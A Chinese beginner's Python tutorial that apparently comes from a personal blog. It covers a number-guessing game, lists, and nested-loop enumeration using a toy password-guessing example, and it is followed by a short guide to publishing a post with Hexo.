guess_number = random.randint(1, 100)
count = 0

while True:
    num = int(input("请输入你猜的数字："))
    count += 1
    if num == guess_number:
        print(f"猜对了！")
        break
    elif num < guess_number:
        print(f"猜小了！")
    else:
        print("猜大了！")

（ 这里我写的 count = 0 和 count += 1 写了没用到，忘记打印了😀，建议在 print(f"猜对了！“) 后面，或者在循环外面加上一句：print(f"你一共猜了{count}次！”)。

• 第一句 import random 是干嘛的？
  简单来说就是“呼叫场外外援”。如果没有这个外援，它是不会凭空想出一个随机数的。所以我们得去 Python 的官方武器库里，把 random（ 随机 ）这个工具箱借过来用。
• random.randint ( 1, 100 )
  让电脑在 1 到 100 里随便挑个数字藏起来，这就是我们要猜的目标。
• count = 0 和 count += 1
  我们拿个小本子（ count = 0 ）。玩家每猜一次，本子上就画一笔（ count += 1 ），最后好看看玩家到底猜了几次。
• 最后 while True + break
  while True 就是一个“无底洞”，意思是：只要没碰到 break，游戏就永远不结束。
  玩家输入数字后，电脑开始做判断：
  • 如果 if num == guess_number:（ 一模一样 ），立马喊“猜对了！”，并触发 break 结束无底洞，游戏结束。
  • 如果 elif num < guess_number:（ 猜小了 ），提示一下，继续循环。
  • 如果上面都没中，那肯定就是猜大了 else。

跑一遍（ 假设电脑想的是50 ）

• 你输入 30，判断发现 30 < 50，电脑提示：“猜小了！”
• 你输入 80，判断发现不相等也不小于，直接走 else，提示：“猜大了！”
• 你输入 50，判断 50 == 50，提示：“猜对了！”，遇到 break，循环结束。

7. 列表 / 下标 （ 装一堆数据的箱子 ）

场景：战队战绩统计，好几个人得分，总不能给每个人都起一个变量名吧？这时候就需要 列表 了。

• 列表 [] ：之前的变量只能装一个，现在用方括号框起来，能装一排数据。
• 下标 [] ：找箱子里的东西要排号。重点：电脑是从 0 开始数数的，找第一个得喊 [0][-1]可以直接拿最后一个数。

处理列表的三个工具：

• len( ) ：数个数。不用自己一个个数，它直接告诉你箱子里有几样东西。
• max( ) ：找最大。电脑会在箱子里自动比大小，把最大的拿出来。
• sum( ) ：算总账。自动把箱子里所有的数加起来。

比如这行代码：

1
2
3
4

得分 = [80, 95, 100]
print(得分[0])       # 拿第一个，是 80（注意从0开始）
print(max(得分))     # 找到最高分 100
print(len(得分))     # 数一下一共几个人，输出 3

OK 接下来写个成绩录入系统：
第1步：准备好空箱子

1
2
3

total_students = int(input("输入人数：")) # 问老师一共要录入几个人
num = 1              # 计数器：从第1个学生开始
score_list = []      # 准备一个“空箱子”，用来装一会儿录入的成绩

( 注意这里的 input 外面套了 int( )，因为等会儿要用人数做数学比较，得先把文字变成真数字。 )

第2步：只要人数没录满，就一直循环问

1
2
3
4
5
6
7
8
9

while num <= total_students:
    # 每次循环，让老师输入成绩
    score = input(f"请输入成员 {num} 的成绩：")

    # 把成绩塞进箱子里
    # 这里用了 int(score)，因为 input 拿进来的永远是文字，得翻译成数字再塞进去
    score_list.append(int(score))

    num += 1  # 录入完一个，人数加1

第3步：录入完成，展示一下箱子里的所有成绩，顺便找最高分

1
2

print(score_list)
print(max(score_list))

第4步：算总分

1

all_score = sum(score_list)

第5步：用 for 循环挨个检查，统计及格人数

1
2
3
4

pass_count = 0          # 及格人数计数器，初始为0
for i in score_list:    # 把箱子里的成绩一个个拿出来，起名叫 i
    if i >= 60:         # 如果成绩大于等于60
        pass_count += 1 # 及格人数加1

第6步：报出最终结果

1
2
3
4
5

# +str() 是因为文字和数字不能直接拼，要把数字变成文字。
print("总分是：" + str(all_score))

# 而下面这句 f"" 就省事多了，直接在话里留个空位 {pass_count}，数字自动就填进去了。
print(f"成绩大于60分的人数有 {pass_count} 人")

• append ( ) 怎么理解？
  之前创建列表 得分 = [80, 95, 100] 是直接装好数据。但很多时候，数据是一边敲键盘、电脑一边收的。append( ) 就是“追加”，像往购物车里不断扔东西一样，把新输入的数字塞到列表的尾巴上。
• 为什么有了 +str ( ) 还要用 f"“？
  看最后两行打印代码。第一个用 +str( )，像强行用胶水把文字和数字粘起来，很麻烦；而 f”“（ 填空模板 ）就好用多了，直接在话里留个空位，变量自动就填进去了，推荐以后多用 f”"！

8. 双重循环 / 枚举

场景：假设你忘了两位数的密码，但你知道密码的每一位只可能是 1、2、3。怎么找回来？让电脑把所有组合都试一遍（ 这就叫暴力枚举 ）。

• 双重循环：就是套娃。外面的大圈跑一次，里面的小圈要跑完一整圈。用来把所有组合都凑出来。

看演示：

1
2
3

for i in range(3):      # 外圈（比如第一位）
    for j in range(3):  # 内圈（比如第二位）
        print(i, j)     # 会输出：00, 01, 02, 10, 11, 12, 20, 21, 22

假设密码的第一位和第二位，数字都在 1 到 3 之间：

1
2
3

for i in range(1, 4):      # 外层循环：代表密码的第一位（从1试到3）
    for j in range(1, 4):  # 内层循环：代表密码的第二位（从1试到3）
        print(f"正在尝试密码：{i}{j}")

为什么叫套娃？ 因为外面的圈（ i ）每转 1 次，里面的圈（ j ）就要老老实实地转完 3 次。等里面转完了，外面才转第 2 次，里面再跟着转 3 次。

我脑补了一下电脑实际上是怎么跑的：

第一轮：外面 i 拿到 1，里面 j 开始跑圈。

• 里面试了 1，拼出来 11。
• 里面试了 2，拼出来 12。
• 里面试了 3，拼出来 13。

第二轮：里面跑完了，外层 i 变成 2，里面 j 清空重来，又开始跑圈。

• 里面试了 1，拼出来 21。
• 里面试了 2，拼出来 22。
• 里面试了 3，拼出来 23。

第三轮：外层 i 变成 3，里面再跑一圈：31, 32, 33。

这跟破解有什么关系？
如果在这个双重循环的最里面加一句判断（ 用到之前学的 if ）

1
2
3
4
5
6
7
8
9

# 假设真正的密码是 23
for i in range(1, 4):
    for j in range(1, 4):
        # 把两个数字拼起来变成真正的数字
        guess = int(f"{i}{j}")

        if guess == 23:
            print(f"密码就是 {guess}")
            break  # 找到了，停止内层循环

（ 差不多了，今天脑细胞已阵亡，就到这吧 ）

前言：需要先安装 Node.js 和 Git 没有这俩安装不了 Hexo，然后再安装 Hexo

第一步 : 新建文件文章

1. 在你的 Hexo 项目根目录下，打开终端。
2. 运行命令创建一个新文章：

   1	npx hexo new "如何在Hexo发布第一篇博客"

3. 这样 Hexo 会自动在 source/_posts/ 目录下生成一个同名的 .md 文件。
4. 然后再复制这个生成的路径回车它就会打开这个新建的文件

第二步：编写（文章头部信息）

现在可以看见：文件顶部被 — 包裹的 title：、date：、tags： 区域。 Hexo 在渲染网页时，会优先读取这部分信息。title 决定文章标题，date 决定发布时间（按时间排序）；tags 用于生成标签云。tags: 后面如果没有内容，最好留空或写 []。

第三步：编写正文并实时预览

1. 在头部信息下方空一行，开始写正文。
2. 左侧写代码，右侧按 Ctrl+K V 打开预览。

第四步：生成与部署

在终端依次运行：

1. npx hexo g （ 生成网页 ）。
2. npx hexo s （ 本地预览，按住键盘上的 Ctrl 键不要松开，然后用鼠标左键点击终端里出现的那个链接）

（比如 http://localhost:4000）

3. 最后,（ npx hexo d ）发布到网上。

   （这样就成功发布了）